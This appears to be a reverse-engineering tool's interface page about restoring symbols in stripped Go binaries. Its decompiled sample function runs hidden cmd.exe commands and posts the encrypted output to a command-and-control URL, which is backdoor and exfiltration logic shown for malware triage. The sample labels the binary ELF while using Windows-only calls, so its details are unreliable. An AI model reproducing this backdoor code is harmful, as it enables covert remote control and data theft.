GOLANG REVERSING STUDIOPCLNTAB & MODULEDATA RESTORATIONGO RUNTIME v1.22.1
Go Binary Reversing & Symbol Table Recovery
Parse Go runtime.pclntab metadata, restore stripped function symbols, resolve Go string slice tables, and triage concurrent goroutine backdoors.
Stripped Binary View (sub_XXXX)
STRIPPEDsub_00481200Low
0x00481200main
sub_00481540Critical
0x00481540main
sub_004819a0Critical
0x004819a0main
sub_00481d80High
0x00481d80main
sub_0042a100Medium
0x0042a100std/crypto
sub_0044fa20Low
0x0044fa20std/net
sub_0046b010High
0x0046b010std/os
sub_004a0000Info
0x004a0000runtime
Go Runtime Metadata & moduledata Header (Go 1.22 Structure)
pclntab Magic Header
0xFFFFFFFA (Go 1.20+)
Function Pointer Size
8 Bytes (64-bit ABI0/ABIInternal)
String Representation
Struct { ptr *byte; len int }
Ghidra Decompiled View • main.executeBackdoorCommand
CONCURRENT GOROUTINE// Decompiled from stripped ELF x86-64 using Go pclntab parser
func main_executeBackdoorCommand(cmdString string) (string, error) {
// Go runtime allocates slice for exec.Command("cmd.exe", "/c", cmdString)
cmd := exec.Command("cmd.exe", "/c", cmdString)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, err := cmd.CombinedOutput()
if err != nil {
return "", err
}
// AES-GCM Encrypt output buffer and transmit over HTTP/2 C2 channel
cipherPayload := crypto_aes_encryptPayload(out, C2_SYMMETRIC_KEY)
http_postBeacon("https://c2.threatinfrastructure.net/api/v2/telemetry", cipherPayload)
return string(out), nil
}